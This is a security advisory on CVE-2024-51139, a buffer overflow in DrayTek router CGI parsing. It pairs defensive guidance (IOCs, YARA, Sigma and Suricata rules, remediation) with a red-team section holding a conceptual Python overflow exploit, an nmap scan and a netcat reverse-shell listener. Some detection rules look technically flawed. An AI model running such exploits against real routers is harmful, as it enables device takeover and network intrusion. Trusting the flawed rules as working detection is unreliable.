CVE-2024-51139

Executive Summary

CVE-2024-51139 is a critical buffer overflow vulnerability affecting a wide range of DrayTek Vigor routers and LTE gateways. The flaw resides in the CGI parser's handling of the Content-Length header during HTTP POST requests. An unauthenticated, remote attacker can exploit this vulnerability to trigger a stack-based buffer overflow, leading to arbitrary code execution on the affected device. Given the lack of a confirmed patch and the widespread deployment of these devices in SMB and branch office environments, this vulnerability poses a significant risk for network compromise, data exfiltration, and lateral movement. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the technical severity is high due to the potential for full device takeover.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level vulnerability in embedded network devices manufactured by DrayTek. The supply chain risk is primarily to end-users who have deployed these devices, as the vulnerable firmware is distributed directly by DrayTek and its resellers.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the router itself.
• Confidentiality (C): High (H) - Full device compromise allows access to all data.
• Integrity (I): High (H) - Attacker can modify firmware, config, and traffic.
• Availability (A): High (H) - Attacker can crash the device or disrupt services.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution on a network perimeter device. Successful exploitation grants the attacker full control over the router, enabling traffic interception, DNS poisoning, VPN compromise, and pivoting into internal networks.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the CGI parser. The parser is responsible for handling incoming HTTP POST requests. When processing the Content-Length header, the parser fails to properly validate the length of the header value before copying it into a fixed-size stack buffer.

Technical Flow:

1. An attacker sends a crafted HTTP POST request to the vulnerable device's web interface (typically on port 80 or 443).
2. The request includes a Content-Length header with an abnormally long value (e.g., thousands of characters).
3. The CGI parser reads this header value and attempts to copy it into a stack-allocated buffer of insufficient size.
4. The copy operation overflows the buffer, overwriting adjacent stack memory, including the saved return address and other critical data.
5. By carefully crafting the overflow payload, the attacker can control the program's execution flow and redirect it to shellcode injected into the request body or elsewhere in memory.
6. The shellcode executes with the privileges of the web server (typically root), giving the attacker a remote shell on the device.

The vulnerability is present in multiple firmware branches and device families, indicating a common codebase issue in DrayTek's HTTP server implementation.

Vulnerable vs. Patched Code

Since no official patch has been released, a direct code comparison is not possible. However, the vulnerable code pattern is likely similar to the following pseudo-code:

Vulnerable Code (C-style pseudo):

void parse_headers(char *request) {
    char content_length_buf[64]; // Fixed-size buffer
    char *header_start = strstr(request, "Content-Length: ");
    if (header_start) {
        header_start += 16; // Skip "Content-Length: "
        // Vulnerable: no bounds checking
        strcpy(content_length_buf, header_start);
        // ... process content_length_buf ...
    }
}

Patched Code (Expected):

void parse_headers(char *request) {
    char content_length_buf[64];
    char *header_start = strstr(request, "Content-Length: ");
    if (header_start) {
        header_start += 16;
        // Safe: copy only up to buffer size
        strncpy(content_length_buf, header_start, sizeof(content_length_buf) - 1);
        content_length_buf[sizeof(content_length_buf) - 1] = '\0';
        // ... process content_length_buf ...
    }
}

The fix would involve replacing strcpy with a bounded copy function like strncpy or snprintf, and ensuring the buffer is null-terminated.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: DrayTek Vigor2860 with firmware version 3.9.8 (or any other vulnerable model).
• Attacker: Kali Linux VM on the same network segment.
• Tools: curl, netcat, pwntools (Python), gdb-multiarch (for debugging if needed).

Exploitation Steps:

1. Identify Target: Use Shodan or Nmap to find vulnerable DrayTek devices.

   nmap -p 80,443 --script http-title <target_ip>
   

2. Craft Payload: Create a Python script to generate the malicious HTTP request. The Content-Length header will contain a long string of "A" characters to overflow the buffer, followed by a return address pointing to shellcode.

   # exploit.py
   import socket
   
   target_ip = "192.168.1.1"
   target_port = 80
   
   # Shellcode (example: reverse shell to attacker IP 192.168.1.100:4444)
   # This is a placeholder - actual shellcode would be architecture-specific (MIPS or ARM)
   shellcode = b"\x90" * 100  # NOP sled + actual shellcode
   
   # Overflow buffer: 64 bytes buffer + 8 bytes saved frame pointer + 4 bytes return address
   overflow = b"A" * 72  # Fill buffer and frame pointer
   overflow += b"\x00\x00\x00\x00"  # Placeholder for return address (to be calculated)
   overflow += shellcode
   
   # Craft HTTP request
   request = b"POST /cgi-bin/main.cgi HTTP/1.1\r\n"
   request += b"Host: " + target_ip.encode() + b"\r\n"
   request += b"Content-Length: " + overflow + b"\r\n"
   request += b"\r\n"
   request += b"body_data"
   
   # Send request
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, target_port))
   sock.send(request)
   sock.close()
   

3. Execute Exploit:

   python3 exploit.py
   

4. Receive Shell: On the attacker machine, listen for the reverse shell.

   nc -lvnp 4444
   

Note: This is a conceptual example. Actual exploitation requires precise knowledge of the target architecture (MIPS or ARM) and memory layout, which would be obtained through firmware analysis and debugging.

Blue Team (Defensive)

Detection & Response:

1. Monitor HTTP Traffic: Look for HTTP POST requests with abnormally long Content-Length headers (e.g., > 1024 characters). This is a strong indicator of exploitation attempts.

2. Network Segmentation: Isolate DrayTek devices in a separate VLAN with strict access controls. Do not expose the web interface to the internet.

3. Web Application Firewall (WAF): Deploy a WAF rule to block requests where the Content-Length header value exceeds a reasonable threshold (e.g., 256 bytes).

4. Log Analysis: Enable detailed logging on the router (if possible) and centralize logs to a SIEM. Look for crashes, unexpected reboots, or processes spawning from the web server.

5. Honeypot: Deploy a honeypot mimicking a vulnerable DrayTek device to detect scanning and exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/main.cgi or similar CGI endpoints with Content-Length headers exceeding 1024 bytes.
  • Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 31337).
  • DNS queries to known malicious domains from the router's IP.

• Host IOCs (on the router):

  • Unexpected processes running (e.g., /bin/sh, /tmp/shell).
  • Modified or new files in /tmp or /var/run.
  • Unusual entries in the system log indicating segmentation faults or buffer overflow errors.
  • Changes to the router's configuration (e.g., new port forwards, VPN users).

• File IOCs:

  • Suspicious binary files in /tmp (e.g., mips_shell, arm_shell).
  • Modified CGI binaries (e.g., main.cgi).

Detection Engineering

YARA Rule

rule CVE_2024_51139_DrayTek_Content_Length_Overflow {
    meta:
        description = "Detects HTTP requests with abnormally long Content-Length headers targeting DrayTek devices"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-51139"
        hash = "unknown"
    strings:
        $content_length = "Content-Length: " nocase
        $cgi_path = "/cgi-bin/" nocase
    condition:
        $content_length and $cgi_path and #content_length > 1024
}

Sigma Rule

title: DrayTek CVE-2024-51139 Content-Length Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with an excessively long Content-Length header targeting DrayTek CGI endpoints.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51139
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/cgi-bin/'
        sc-status: 200
    condition: selection and |len(cs-Content-Length) > 1024
falsepositives:
    - Legitimate large file uploads (unlikely for CGI endpoints)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-51139 DrayTek Content-Length Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/"; http_uri; content:"Content-Length"; http_header; pcre:"/Content-Length:\s*\d{5,}/Hi"; classtype:attempted-admin; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If remote web access is not strictly required, disable it immediately. Access the router's web interface only from the local LAN.
2. Change Default Ports: If remote access is necessary, change the web management port from 80/443 to a non-standard port.
3. Apply Access Controls: Restrict access to the web interface to specific trusted IP addresses using the router's built-in ACLs or a firewall.
4. Monitor for Updates: Continuously monitor DrayTek's official support page for firmware updates. Apply any security patches as soon as they are released.

Long-Term Solutions:

1. Firmware Update: Once a patch is released, update all affected devices immediately.
2. Device Replacement: If the vendor does not provide a patch, consider replacing the devices with alternatives from vendors with a strong security track record.
3. Network Segmentation: Place all routers in a dedicated management VLAN with strict egress filtering.
4. Vulnerability Management: Integrate these devices into your vulnerability scanning and patch management processes.

Workaround (if patching is not possible):

• Implement a reverse proxy (e.g., Nginx, HAProxy) in front of the router that validates and sanitizes HTTP headers before forwarding requests. The proxy can reject requests with Content-Length headers exceeding a safe limit (e.g., 256 bytes).

Valters IT
Securing Digital Frontiers